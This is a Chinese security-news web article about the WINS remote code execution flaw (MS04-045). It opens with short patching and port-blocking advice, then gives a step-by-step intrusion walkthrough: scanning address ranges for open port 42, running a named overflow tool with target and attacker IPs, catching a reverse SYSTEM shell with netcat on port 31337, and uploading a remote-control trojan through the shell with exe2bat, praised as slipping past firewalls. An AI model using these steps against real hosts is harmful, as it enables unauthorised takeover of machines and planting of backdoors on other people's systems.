 |
小心WINS的远程执行漏洞 |
|
|
| 小心WINS的远程执行漏洞 |
|
| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 9:09:21 |
|
WINS(Windows互联网命名服务)是微软Windows系统支持的一套类似于DNS的名称服务,负责将网络计算机名解析为IP地址。最近WINS爆出远程安全漏洞,入侵者可利用该漏洞完全控制运行着WINS的系统。
操作步骤:
WINS服务支持一个称之为“WINS 复制”的特性,不同的WINS服务器可以靠这个功能交换信息。WINS复制使用的也是监听在42端口上的标准WINS协议。在WINS复制的会话过程中,服务器端会发送一个内存指针给客户端,客户端用这个指针进行后续的会话。如果客户端在发送的数据中自己修改这个指针,使之指向用户控制的数据,最终就可以向任意地址写入16个字节的数据。通过覆盖特殊地址可以执行任意代码。成功地利用这个漏洞将导致远程攻击者完全控制运行了WINS服务的Windows操作系统。但是在Win2003 上,任何利用此漏洞的企图都可能会导致拒绝服务。必须重新启动,以便此服务恢复功能。
1.漏洞防范方法
Microsoft已经在安全公告MS04-045中公布该漏洞并提供了解决方案。默认情况下,WINS并不会在系统上安装,单击“开始/控制面板/添加或删除程序”。 单击“添加/删除Windows组件”。在“组件”下双击“网络服务”。Windows Internet 命名服务 (WINS) 复选框显示WINS是否安装。 如果网络中在使用WINS服务,那么需要在_blank">防火墙上屏蔽TCP协议的42端口和UDP协议的42端口。如果不需要WINS服务,将其删除即可。
通过上面这些变通的办法并不能从根本上消除此漏洞,最好的办法还是根据相应的系统安装微软公司提供的漏洞补丁。当然,安装杀毒软件以及及时升级病毒库也是非常必要的。
2.漏洞的技术分析
1)寻找漏洞
由于该漏洞存在的WINS服务使用的是42端口,因此我们只要扫描对方是否开放了42端口,就可以来判断目标主机是否开着WINS服务。我们用软件SuperScan来确定某个IP地址段是否有42端口打开。 运行SuperScan,在IP地址处的“开始”和“停止”输入你要搜索的IP地址的起始段和结束段,例如218.87.91.1-218.87.91.254。然后在“扫描类型”中把“只扫描响应ping的主机”前面的勾去掉(这是因为很多主机都安装有_blank">防火墙,当SuperScan通过使用ping命令发出的数据包被_blank">防火墙拦截后,SuperScan就会认为这个IP地址对应的主机不存在,也就会停止接下来的操作)。再点击下面的“所有端口从”选项,然后在选项后面的框中都输入42,最后点击“开始”进行扫描。经过一段时间的扫描,就可以从下面的结果框中查看到那些远程主机是42端口是开放的。
2)漏洞的实现
扫描到开放42端口的主机之后,就可以进行WINS服务的溢出了。点击“开始/运行”,输入cmd.exe回车,打开命令提示符窗口。首先将光标提示符切换到WINS服务溢出程序的所在目录,然后输入wins查看使用方法。使用方法是:ZUC-WINShit www.vulnwins.com 31.33.7.23 31337 ,ZUC-WINShit是溢出程序的名称,www.vulnwins.com代表远程存在WINS的主机,而31.33.7.23则代表我们本地的IP地址,而31337则是远程主机数据反弹溢出到本地的端口。
由于溢出的数据需要反弹到本地的31337端口,所以这里我们就使用nc监听本地的31337端口 。再重新打开一个命令提示符窗口并切换到nc所在目录,输入命令为:nc -l -p 31337。下面点击先前的溢出程序所在的那个命令提示符窗口,输入命令:wins 218.87.91.XXX 221.10.100.XX 31337,这里的218.87.91.XXX就是远程存在WINS漏洞的主机的IP地址,而221.10.100.XX就是本机的IP地址。溢出命令发出后,一会就会在本地的监听窗口得到一个系统权限的SHELL。
对于扫描到的42端口不是百分之百的能够成功溢出。原因可能是:1.远程电脑已经成功的安装了漏洞补丁。2.这个42端口并非 WINS 服务使用的。
3)上传程序 得到一个系统权限的SHELL后,就可以完全控制远程的电脑了,但是Dos下的键盘操作毕竟没有图形化界面下的鼠标操作简便,所以骇客一般都会上传相应的图形化操作界面的恶意程序到对方电脑,或打开对方终端服务的程序等。 本例使用一个名为exe2bat的程序,再打开一个“命令提示符”命令,切换到exe2bat所在目录,键入:exe2bat.exe后回车,查看程序的使用方法。从图中我们可以看到,exe2bat可以将一个应用程序转换为一个批处理文件,下面我们就将一个远程控制的服务端程序mm.exe首先转换为批处理文件。输入:exe2bat.exe mm.exe mm.bat,回车后就可以得到一个名为mm.bat批处理文件。用记事本打开生成的批处理文件,然后点击“编辑”菜单中的“全选”和“复制”命令,将文件中的源代码全部复制到剪贴板中,再切换到溢出数据的命令提示符窗口,点击右键选择“粘贴”命令。代码复制完成后,输入:ren TVISGRAY mm.exe命令将mm.exe还原。然后再输入:ren mm.exe即可启动运行上传的服务端程序。这种方法的优点是不言而喻,因为它可以直接利用已经得到的shell将文件以“代码”的形式输入到对方电脑,不需要任何网络工具的支持,同样也不必打开任何的端口,也没有任何进程,能穿越任何_blank">防火墙。不过这种方法也有一个明显的缺点,就是上传的程序体积不能太大,不然代码的上传时间太久不说,再还原成源程序的时候也可能出现问题。
小知识:
Windows Internet命名服务(WINS):作用是将IP地址映射到NetBIOS计算机名称,或者相反。 通过使用WINS服务器,用户可以按计算机名称而不是按IP地址来搜索资源。WINS的好处包括以下各项:通过允许客户端查询WINS服务器来查找远程系统,减少子网上基于NetBIOS 的广播通信;支持网络中早期的基于Windows和NetBIOS的客户端,方法是:允许它们浏览远程Windows域的列表,而不需要每个子网上都有本地域控制器;支持基于域名系统(DNS)的客户端,方法是使这些客户端能够在执行WINS查找时查找NetBIOS资源。该服务主要用于Win9X系统和WinNT系统中,在Win2000/XP/2003时代已逐步被淘汰。 【转自世纪安全网 http://www.21safe.com】
|
|
| 新闻录入:admin 责任编辑:admin |
|
|
上一篇新闻: 苹果发布20多个Mac补丁 Tiger不在修补之列 下一篇新闻: IBM iSeries AS400 FTP服务目录遍历漏洞 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|